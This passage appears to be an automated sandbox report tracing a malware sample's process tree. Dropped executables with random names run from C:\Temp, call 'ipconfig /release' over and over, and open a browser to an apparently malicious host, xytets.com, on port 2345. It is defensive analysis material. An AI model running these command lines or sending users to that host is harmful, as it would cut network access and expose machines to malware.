      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_idbytqlidb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3120
  - - C:\Temp\i_idbytqlidb.exe
      C:\Temp\i_idbytqlidb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvpnifaysq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4200
  - - C:\Temp\xvpnifaysq.exe
      C:\Temp\xvpnifaysq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4472
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3288
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvpnifaysq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4404
  - - C:\Temp\i_xvpnifaysq.exe
      C:\Temp\i_xvpnifaysq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4628
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xusqkhfdxu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4104
  - - C:\Temp\xusqkhfdxu.exe
      C:\Temp\xusqkhfdxu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4672
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xusqkhfdxu.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1188
  - - C:\Temp\i_xusqkhfdxu.exe
      C:\Temp\i_xusqkhfdxu.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kecxusnhfc.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5844
  - - C:\Temp\kecxusnhfc.exe
      C:\Temp\kecxusnhfc.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4156
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5876
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2528
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kecxusnhfc.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5340
  - - C:\Temp\i_kecxusnhfc.exe
      C:\Temp\i_kecxusnhfc.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3512
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkecaurpjh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5820
  - - C:\Temp\mkecaurpjh.exe
      C:\Temp\mkecaurpjh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2184
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1628
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkecaurpjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:968
  - - C:\Temp\i_mkecaurpjh.exe
      C:\Temp\i_mkecaurpjh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2100
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjecwurmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2532
  - - C:\Temp\omjecwurmk.exe
      C:\Temp\omjecwurmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5848
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5796
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2496
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjecwurmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2656
  - - C:\Temp\i_omjecwurmk.exe
      C:\Temp\i_omjecwurmk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3236
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mjebwuomge.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3572
  - - C:\Temp\mjebwuomge.exe
      C:\Temp\mjebwuomge.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5392
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4836
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:428
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mjebwuomge.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4296
  - - C:\Temp\i_mjebwuomge.exe
      C:\Temp\i_mjebwuomge.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1256
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wqoigeytqo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4432
  - - C:\Temp\wqoigeytqo.exe
      C:\Temp\wqoigeytqo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5432
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3844
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wqoigeytqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2180
  - - C:\Temp\i_wqoigeytqo.exe
      C:\Temp\i_wqoigeytqo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4212
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbvtnlgayw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3064
  - - C:\Temp\dbvtnlgayw.exe
      C:\Temp\dbvtnlgayw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2632
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2492
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5968
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbvtnlgayw.exe ups_ins
    3⤵
    PID:4312
  - - C:\Temp\i_dbvtnlgayw.exe
      C:\Temp\i_dbvtnlgayw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2016
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqkigdbvs.exe ups_run
    3⤵
    PID:3604
  - - C:\Temp\ysqkigdbvs.exe
      C:\Temp\ysqkigdbvs.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3580
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2100
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4500
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqkigdbvs.exe ups_ins
    3⤵
    PID:2344
  - - C:\Temp\i_ysqkigdbvs.exe
      C:\Temp\i_ysqkigdbvs.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4684
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\sqkicausqk.exe ups_run
    3⤵
    PID:3056
  - - C:\Temp\sqkicausqk.exe
      C:\Temp\sqkicausqk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4276
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3068
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4344
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_sqkicausqk.exe ups_ins
    3⤵
    PID:244
  - - C:\Temp\i_sqkicausqk.exe
      C:\Temp\i_sqkicausqk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:8
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hcaxspkhca.exe ups_run
    3⤵
    PID:124
  - - C:\Temp\hcaxspkhca.exe
      C:\Temp\hcaxspkhca.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1832
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4372
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hcaxspkhca.exe ups_ins
    3⤵
    PID:3212
  - - C:\Temp\i_hcaxspkhca.exe
      C:\Temp\i_hcaxspkhca.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pkhcausmke.exe ups_run
    3⤵
    PID:3740
  - - C:\Temp\pkhcausmke.exe
      C:\Temp\pkhcausmke.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5240
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3464
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pkhcausmke.exe ups_ins
    3⤵
    PID:112
  - - C:\Temp\i_pkhcausmke.exe
      C:\Temp\i_pkhcausmke.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1228
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkecwusmke.exe ups_run
    3⤵
    PID:4616
  - - C:\Temp\mkecwusmke.exe
      C:\Temp\mkecwusmke.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4380
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5164
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkecwusmke.exe ups_ins
    3⤵
    PID:356
  - - C:\Temp\i_mkecwusmke.exe
      C:\Temp\i_mkecwusmke.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebwuomgezw.exe ups_run
    3⤵
    PID:2952
  - - C:\Temp\ebwuomgezw.exe
      C:\Temp\ebwuomgezw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4596
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1256
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2620
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebwuomgezw.exe ups_ins
    3⤵
    PID:4220
  - - C:\Temp\i_ebwuomgezw.exe
      C:\Temp\i_ebwuomgezw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6016
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bywtojgeyw.exe ups_run
    3⤵
    PID:5184
  - - C:\Temp\bywtojgeyw.exe
      C:\Temp\bywtojgeyw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2808
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2868
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bywtojgeyw.exe ups_ins
    3⤵
    PID:4628
  - - C:\Temp\i_bywtojgeyw.exe
      C:\Temp\i_bywtojgeyw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\oigdyvtolj.exe ups_run
    3⤵
    PID:4968
  - - C:\Temp\oigdyvtolj.exe
      C:\Temp\oigdyvtolj.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2060
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1228
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_oigdyvtolj.exe ups_ins
    3⤵
    PID:52
  - - C:\Temp\i_oigdyvtolj.exe
      C:\Temp\i_oigdyvtolj.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4316
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\lidyvqoiga.exe ups_run
    3⤵
    PID:3668
  - - C:\Temp\lidyvqoiga.exe
      C:\Temp\lidyvqoiga.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4184
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5736
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3540
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x318,0x7ffb152ec188,0x7ffb152ec194,0x7ffb152ec1a0
      4⤵
      PID:4260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1824,i,3238393852126353000,586542037897536472,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=2812 /prefetch:11
      4⤵
      System Time Discovery
      PID:3420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1568,i,17537539991985128493,15250564431614265288,262144 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:2
      4⤵
      PID:952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2204,i,8984627050088895721,5642622679515961365,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=2820 /prefetch:13
      4⤵
      PID:2664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3620,i,7560693121475610536,987589473772375930,2097152 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
      4⤵
      PID:5080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3628,i,15840726132433428281,10136123714813154931,2097152 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:1
      4⤵
      PID:4848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4352,i,6054114260990379754,2715748136130727081,2097152 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:1
      4⤵
      PID:1940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4340,i,5067033362255148885,8233551787714778373,2097152 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=4980 /prefetch:9
      4⤵
      PID:5764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3828,i,3140763853331559911,10774827347914247852,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:14
      4⤵
      PID:3508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,5674107310718530834,16637222501413761455,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=3800 /prefetch:14
      4⤵
      PID:3004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,1248774938305621817,16517487726963260606,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
      4⤵
      PID:4488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,1390690834900720525,4665253083684087430,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:14
      4⤵
      PID:4836
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,1390690834900720525,4665253083684087430,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:14
      4⤵
      PID:5272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6280,i,11272332771631447160,9754312935930005676,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
      4⤵
      PID:3224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6460,i,1087849413819633970,13574122823066910546,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:14
      4⤵
      PID:2060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4548,i,6768290713866311036,1108117788518905522,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:14
      4⤵
      PID:2600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4340,i,857832030670456196,3742314694399466338,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:14
      4⤵
      PID:2580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5252,i,9917411795262788233,15273301184544758573,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:14
      4⤵
      PID:2376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5688,i,3325727593425998924,17619494783397583815,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:14
      4⤵
      PID:2572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6804,i,1655904386051694271,5703691699465107095,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
      4⤵
      PID:1184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3180,i,8344637962502062422,1424536202318463068,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:14
      4⤵
      PID:2440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=916,i,6637533605800682436,12356059095034431590,524288 --field-trial-handle=2520,i,2965011863316489530,9865737751848709783,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:14
      4⤵
      PID:2140
